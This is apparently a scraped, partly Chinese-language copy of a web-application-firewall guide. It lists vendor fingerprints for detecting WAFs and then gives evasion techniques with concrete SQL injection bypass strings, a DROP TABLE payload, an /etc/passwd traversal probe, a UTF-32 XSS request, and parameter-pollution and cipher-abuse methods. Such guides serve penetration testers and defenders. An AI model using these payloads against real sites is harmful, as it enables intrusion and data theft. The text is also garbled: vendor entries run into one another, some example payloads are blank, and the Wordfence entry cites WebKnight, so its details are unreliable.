简单定义:web防火墙位于应用程序中web应用程序与客户端点之间的安全策略实施点。该功能可以在软件或硬件、设备或典型的公共操作系统服务器中实现。它可能是一个独立的设备或集成到其他网络组件中。（资料来源：PCI DSS IS 6.6)
项目地址：GitHub - 0xInfection/Awesome-WAF: ?? Everything about web-application firewalls (WAF).
Introduction（介绍）:
How WAFs Work:
Using a set of rules to distinguish between normal requests and malicious requests.
Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
Operation Modes:
Negative Model (Blacklist based)- A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking allinputs.
Positive Model (Whitelist based)- A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
Mixed/Hybrid Model (Inclusive model)- A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.
Testing Methodology:
Where To Look:
Always look out for common ports that expose that a WAF, namely80,443,8000,8008,8080and8088ports.
Tip:You can use automate this easily by commandline using tools like likecURL.
Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
Some often alter headers and jumble characters to confuse attacker (eg. Netscaler, Big-IP).
Some expose themselves in theServerheader (eg. Approach, WTS WAF).
Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).
Detection Techniques(测试方法):
To identify WAFs, we need to (dummy) provoke it.
Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
Make GET requests to random open ports and grab banners which might expose the WAFs identity.
If there is a login page somewhere, try some common (easily detectable) payloads like" or 1 = 1 --.
If there is some input field somewhere, try with noisy payloads like.
Attach a dummy../../../etc/passwdto a random parameter at end of URL.
Append some catchy keywords like' OR SLEEP(5) OR 'at end of URLs to any random parameter.
Make GET requests with outdated protocols likeHTTP/0.9(HTTP/0.9does not support POST type queries).
Many a times, the WAF varies theServerheader upon different types of interactions.
Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
Tip:This method could be easily achieved with tools likeHPing3orScapy.
Side Channel Attacks - Examine the timing behaviour of the request and response content.
WAF Fingerprints（Waf指纹）：
Wanna fingerprint WAFs? Lets see how.
NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.
WAF
Fingerprints
360
Detectability: Easy
Detection Methodology:
Returns status code 493 upon unusual requests.
Blockpage may contain reference to wzws-waf-cgi/ directory.
Blocked response page source may contain:
Reference to wangshan.360.cn URL.
Sorry! Your access has been intercepted because your links may threaten website security. text snippet.
Response headers may contain X-Powered-By-360WZB header.
Your request was blocked by Cloudbric text snippet.
Reference to https://cloudbric.zendesk.com URL.
Cloudbric Help Center text.
Page title starting with Cloudbric | ERROR!.
Cloudflare
Detectability: Easy
Detection Methodology:
Response headers might have cf-ray field value.
Server header field has value cloudflare.
Set-Cookie response headers have __cfuid= cookie field.
Page content might have Attention Required! or Cloudflare Ray ID:.
Page content may contain DDoS protection by Cloudflareas text.
You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
CloudfloorDNS
Detectability: Easy
Detection Methodology:
Server header field has value CloudfloorDNS WAF.
Block-page title might have CloudfloorDNS - Web Application Firewall Error.
Page content may contain www.cloudfloordns.com/contact URL as a contact link.
Cloudfront
Detectability: Easy
Detection Methodology:
Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.
Comodo cWatch
Detectability: Easy
Detection Methodology:
Server header contains Protected by COMODO WAF value.
CrawlProtect
Detectability: Easy
Detection Methodology:
Response cookies might contain crawlprotect cookie name.
Block Page title has CrawlProtect keyword in it.
Blocked response content contains value This site is protected by CrawlProtect !!! upon malicious request.
Deny-All
Detectability: Difficult
Detection Methodology:
Response content contains value Condition Intercepted.
Set-Cookie header contains cookie field sessioncookie.
Distil Web Protection
Detectability: Easy
Detection Methodology:
Response headers contain field value X-Distil-CS in all requests.
Blocked response page contains:
Pardon Our Interruption... heading.
You have disabled javascript in your browser. text snippet.
Something about your browser made us think that you are a bot. text.
DoSArrest Internet Security
Detectability: Easy
Detection Methodology:
Response headers contain field value X-DIS-Request-ID.
Server header contains DOSarrest keyword.
DotDefender
Detectability: Easy
Detection Methodology:
Blocked response content contains value dotDefender Blocked Your Request.
Blocked response headers contain X-dotDefender-denied field value.
DynamicWeb Injection Check
Detectability: Easy
Detection Methodology:
Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
e3Learning Security
Detectability: Easy
Detection Methodology:
Server header contains e3Learning_WAF keyword.
EdgeCast (Verizon)
Detectability: Easy
Detection Methodology:
Blocked response content contains value Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
Blocked response code returns 400 Bad Request on malicious requests.
Server headers may contain WatchGuard field value.
Blocked response page contains:
Request denied by WatchGuard Firewall text.
WatchGuard Technologies Inc. as footer.
WebARX Security
Detectability: Easy
Detection Methodology:
Restricted to specifically WordPress sites only.
Blocked response page contains:
This request has been blocked by WebARX Web Application Firewall text.
Reference to /wp-content/plugins/webarx/ directory where it is installed.
WebKnight
Detectability: Easy
Detection Methodology:
Response headers contain WebKnight keyword.
Blocked response page contains:
WebKnight Application Firewall Alert text warning.
AQTRONIX WebKnight text snippet.
Blocked response code returned is 999 No Hacking. :p
Blocked response code returned is also 404 Hack Not Found. :p
WebLand
Detectability: Easy
Detection Methodology:
Server header contains Apache Protected By WebLand WAF keyword.
WebRay
Detectability: Easy
Detection Methodology:
Server header contains WebRay-WAF keyword.
Response headers may have DrivedBy field with value RaySrv RayEng/{version}.
WebSEAL
Detectability: Easy
Detection Methodology:
Server header contain WebSEAL keyword.
Blocked response page contains:
This is a WebSEAL error message template file text.
WebSEAL server received an invalid HTTP request text snippet.
WebTotem
Detectability: Easy
Detection Methodology:
Blocked response page contains The current request was blocked by WebTotem.
West263CDN
Detectability: Easy
Detection Methodology:
Response headers contain X-Cache header field with WT263CDN value.
Wordfence
Detectability: Easy
Detection Methodology:
Response headers contain WebKnight keyword.
Blocked response page contains:
Generated by Wordfence text snippet.
A potentially unsafe operation has been detected in your request to this site text warning.
Your access to this site has been limited text warning.
This response was generated by Wordfence text snippet.
WTS-WAF
Detectability: Easy
Detection Methodology:
Blocked response page title has WTS-WAF keyword.
Server header contains wts as value.
XLabs Security WAF
Detectability: Easy
Detection Methodology:
Response headers contain X-CDN header field with XLabs Security value.
Xuanwudun WAF
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
Yunaq Chuangyu
Detectability: Moderate
Detection Methodology:
Response page has reference to:
365cyd.com or 365cyd.net URL.
Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
Detectability: Easy
Detection Methodology:
Server header contains YUNDUN as value.
X-Cache header field contains YUNDUN as value.
Response page contains Blocked by YUNDUN Cloud WAF text snippet.
Blocked response page contains reference to yundun.com/yd_http_error/ URL.
Yunsuo
Detectability: Easy
Detection Methodology:
Blocked response page contains image class reference to yunsuologo.
Response headers contain the yunsuo_session field name.
YxLink
Detectability: Easy
Detection Methodology:
Response might have yx_ci_session cookie field.
Response might have yx_language cookie field.
Server header contains Yxlink-WAF field value.
ZenEdge
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to /__zenedge/assets/ directory.
Server header contain ZENEDGE keyword.
Blocked response headers may contain X-Zen-Fury header.
ZScaler
Detectability: Easy
Detection Methodology:
Server header has value set to ZScaler.
Blocked response page contains:
Access Denied: Accenture Policy text.
Reference to https://policies.accenture.com URL.
Reference to image at https://login.zscloud.net/img_logo_new1.png.
Your organization has selected Zscaler to protect you from internet threats.
The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.
Evasion Techniques
Lets look at some methods of bypassing and evading WAFs.
Fuzzing/Bruteforcing:
Method:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
Wordlists specifically for fuzzing
Seclists/Fuzzing.
Fuzz-DB/Attack
Other Payloads
Technique:
Load up your wordlist into fuzzer and start the bruteforce.
Record/log all responses from the different payloads fuzzed.
Use random user-agents, ranging from Chrome Desktop to iPhone browser.
If blocking noticed, increase fuzz latency (eg. 2-4 secs).
Always use proxychains, since chances are real that your IP gets blocked.
Drawbacks:
This method often fails.
Many a times your IP will be blocked (temporarily/permanently).
Regex Reversing:
Method:
Most efficient method of bypassing WAFs.
Some WAFs rely upon matching the attack payloads with the signatures in their databases.
Payload matches the reg-ex the WAF triggers alarm.
Techniques:
Blacklisting Detection/Bypass
In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.
Case: SQL Injection
• Step 1:
Keywords Filtered: and, or, union Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
• Step 2:
Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
• Step 3:
Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Step 4:
Keywords Filtered: and, or, union, where, limit, group by
Blocked Attempt: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Step 5:
Keywords Filtered: and, or, union, where, limit, group by, select
Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
However, the request must still remain valid while using token-breakers.
Case: Unknown Token for the Tokenizer
Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
Case: Unknown Context for the Parser (Notice the uncontexted bracket)
Payload 1: ?id=123);DROP TABLE users --
Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --
TIP: More payloads can be crafted via this cheat sheet.
14. Obfuscation in Other Formats
Many web applications support different encoding types and can interpret the encoding (see below).
Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
Case: IIS
IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
We can encode our payload and send the encoded parameters with the query.
Original Request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
Query string in its original format (could be url-encoded as usual).
Body could be sent with/without url-encoding.
Equal sign and ampersand should not be encoded in any way.
HTTP Parameter Pollution
Method:
This attack method is based on how a server interprets parameters with the same names.
Possible bypass chances here are:
The server uses the last received parameter, and WAF checks only the first.
The server unites the value from similar parameters, and WAF checks them separately.
Technique:
The idea is to enumerate how the parameters are being interpreted by the server.
In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
Environment
Parameter Interpretation
Example
ASP/IIS
Concatenation by comma
par1=val1,val2
JSP, Servlet/Apache Tomcat
First parameter is resulting
par1=val1
ASP.NET/IIS
Concatenation by comma
par1=val1,val2
PHP/Zeus
Last parameter is resulting
par1=val2
PHP/Apache
Last parameter is resulting
par1=val2
JSP, Servlet/Jetty
First parameter is resulting
par1=val1
IBM Lotus Domino
First parameter is resulting
par1=val1
IBM HTTP Server
Last parameter is resulting
par1=val2
mod_perl, libapeq2/Apache
First parameter is resulting
par1=val1
Oracle Application Server 10G
First parameter is resulting
par1=val1
Perl CGI/Apache
First parameter is resulting
par1=val1
Python/Zope
First parameter is resulting
par1=val1
IceWarp
An array is returned
['val1','val2']
AXIS 2400
Last parameter is resulting
par1=val2
DBMan
Concatenation by two tildes
par1=val1~~val2
mod-wsgi (Python)/Apache
An array is returned
ARRAY(0x8b9058c)
HTTP Parameter Fragmentation
HPF is based on the principle where the server unites the value being passed along the parameters.
We can split the payload into different components and then pass the values via the parameters.
Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: A real life example how bypasses can be crafted using this method can be found here.
Browser Bugs:
Charset Bugs:
We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
When the site decodes the string, the payload gets triggered.
Example request:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: "
Many alternatives to the original JavaScript can be used, namely:
JSFuck
JJEncode
XChars.JS
However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
Abusing SSL/TLS Ciphers:
Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
Technique:
Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
Find out the ciphers supported by the server (tools like SSLScan helps here).
If a specific cipher not supported by WAF but by the server, is found, voila!
Initiating a new connection to the server with that specific cipher should smuggle our payload in.
Tool: abuse-ssl-bypass-waf
python abuse-ssl-bypass-waf.py -thread 4 -target
CLI tools like cURL can come very handy for PoCs:
curl --ciphers -G -d
Abuse WAF limit on HTTP Responses
Method
Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.
Technique
Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
Once done, attach your payload to the request after filling the limit with garbage.
A similar technique was used to bypass Google Cloud Platform WAF.
Abusing DNS History:
Often old historical DNS records provide information about the location of the site behind the WAF.
The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.
